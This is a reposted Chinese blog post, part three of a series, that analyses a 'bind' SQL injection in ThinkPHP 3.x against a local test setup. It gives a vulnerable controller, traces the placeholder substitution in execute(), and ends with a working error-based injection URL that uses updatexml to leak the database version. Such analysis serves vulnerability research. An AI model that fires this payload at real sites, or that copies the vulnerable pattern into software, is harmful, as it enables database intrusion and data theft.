首页 > Web开发 > 详细

Thinkphp 3.x bind注入(3)

时间:2021-01-27 16:56:39      阅读:32      评论:0      收藏:0      [点我收藏+]

接着上篇 https://www.cnblogs.com/cuocuo/p/14329868.html

当exp为bind的时候,虽然会拼接,但是find()和select()是没办法利用的,我们需要更改一下代码

技术分享图片

 

 

 

 

<?php
namespace Home\Controller;
use Think\Controller;
use \Think\Logs;
class IndexController extends Controller {
    public function index(){
        $User = M("user");
        $user[‘Id‘] = I(‘id‘);
        $data[‘pwd‘] = I(‘pwd‘);
        $value = $User->where($user)->save($data);
        var_dump($value);
    }
}

http://127.0.0.1/?id[0]=bind&id[1]=123&pwd=cuocuo

技术分享图片

 

 

 跟进$this->execute()

 

$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return ‘\‘‘.$that->escapeString($val).‘\‘‘; },$this->bind));

 

技术分享图片

 

 技术分享图片

 

 可以看到:0已经被替换成cuocuo了,后面的:123怎么办,我们将其改成:0就可以满足替换条件了

http://127.0.0.1/?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)&pwd=cuocuo

技术分享图片

 

 

技术分享图片

 技术分享图片

 

Thinkphp 3.x bind注入(3)

原文:https://www.cnblogs.com/cuocuo/p/14335075.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!